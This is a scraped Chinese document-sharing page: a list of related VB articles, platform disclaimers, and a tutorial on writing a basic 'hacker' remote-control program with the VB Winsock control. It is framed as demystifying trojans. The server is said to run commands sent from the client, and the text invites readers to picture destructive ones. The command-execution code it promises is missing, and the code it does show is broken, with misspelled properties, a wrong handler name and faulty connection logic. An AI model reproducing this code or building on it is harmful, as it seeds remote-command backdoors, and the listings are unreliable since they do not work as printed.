1.在VB开发的应用程序中多媒体的实现方法 [J], 陈威兵;谢志宇
2.在VB应用程序中实现对Excel的数据查询 [J], 王留洋
3.基于VB的应用程序中多媒体技术实现的研究 [J], 黄立靖
4.基于VB的应用程序中多媒体技术实现的研究 [J], 黄立靖;
5.基于VB的应用程序中多媒体技术实现的研究 [J], 黄立靖
因版权原因,仅展示原文概要,查看原文内容请购买。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
只要掌握了原理,你也能写出一个所谓的“黑客”程序。
下面笔者带领大家用VB亲自编写一个远程控制程序。
从而揭开它的神秘面纱。
一、所用控件
在程序中将使用Winsock控件。
Winsock控件是一个ActiveX控件,使用TCP协议或UDP协
议连接到远程计算机上并与之交换数据。
和定时器控件一样,Winsock控件在运行时是不可见的。
Winsock的工作原理是:客户端向服务器端发出连接请求,服务器端则不停地监听客户端的请求,当两者的协议沟通时,客户端和服务器端之间就建立了连接,这时客户端和服务器端就可以实现双向数据传输。
实际编程中,必须分别建立一个服务器端应用程序和一个客户端应用程序,两个应用程序中分别有自己的Winsock控件。
首先设置Winsock控件使用的协议,这里我们使用TCP协议。
现在,让我们开始用VB建立两个程序,一个是客户端程序myclient,另一个是服务器端程序myserver。
二、编写客户端程序
首先来建客户端程序myclient。
在myclient程序中建立一个窗体,加载Winsock控件,称为tcpclient,表示使用的是TCP协议,再加入两个文本框(text1和text2),用来输入服务器的IP地址和端口号,然后建立一个按钮(cd1),用来建立连接,按下之后就可以对连接进行初始化了,代码如下:
private sub cd1_click()
tcpclient.romotehost=text1.text
tcpclient.romoteport=val(text2.text)'端口号,缺省为1001
tcpclient.connect '调用connect方法,与指定IP地址的计算机进行连接
cd1.enabled=false
end sub
连接之后就是如何处理所收到的数据的问题了。
客户端和服务器端建立连接后,如果有任何一端接收到新的数据,就会触发该端winsock控件的dataarrival事件,在响应这个事件时,可以使用getdata方法获得发送来的数据。
比如可以在tcpclient的dataarrival事件中编写代码如下:
private sub tcpclient_dataarrival(byval bytestotal as long)
dim x as string
tcpclient.getdata x '使用getdata获得发送来的数据
.......
End sub
后面的省略部分表示对接收到的数据进行的具体处理,读者可以根据实际情况编写。
三、编写服务器端程序
先建立一个窗体,加载Winsock控件,名称为tcpserver。
另外在窗体上加入一个文本框text1用来显示客户机的IP地址和客户机发送过来的数据信息。
当客户端程序运行时,在客户端程序按下连接按钮后,客户端向服务器端程序请求连接,这时服务器端的connectionrequest事件被触发,所以服务器端程序要解决连接问题,可以使用connectionrequest事件完成此功能。
代码如下:
'在窗体的load事件中对tcpserver控件进行初始化
private sub form_load()
tcpserver.localport=1001
tcpserver.listen '把服务器置于监听检测状态
end sub
'服务器端接收到客户端的连接请求,首先检查当前状态是否处于连接关闭状态
Private sub tcpclient_connectionrequest(Byval requestID as long)
If tcpserver.state<>sckclosed then '检查控件的state属性是否为关闭
Tcpserver.close '
Tcpserver.accept requestID '
End if
End sub
现在我们在服务器端程序tcpserver的dataarrival事件中添加以下代码,以便让服务器端程序可以接收客户机端的指令,并运行相应的程序。
四、测试远程控制程序
现在,你就可以将这两个程序分别运行于两台使用TCP/IP协议联网的机器了。
在客户机端你按下连接按钮,再输入“c: ”,可以看到在服务器端立刻打开一个DOS 窗口,设想一下,如果它运行一些破坏性的命令会发生什么事情?这就是一个最基本的远程控制程序。
当然,真正的黑客程序要复杂得多,但基本原理是相同的。
现在你该恍然大悟了吧?。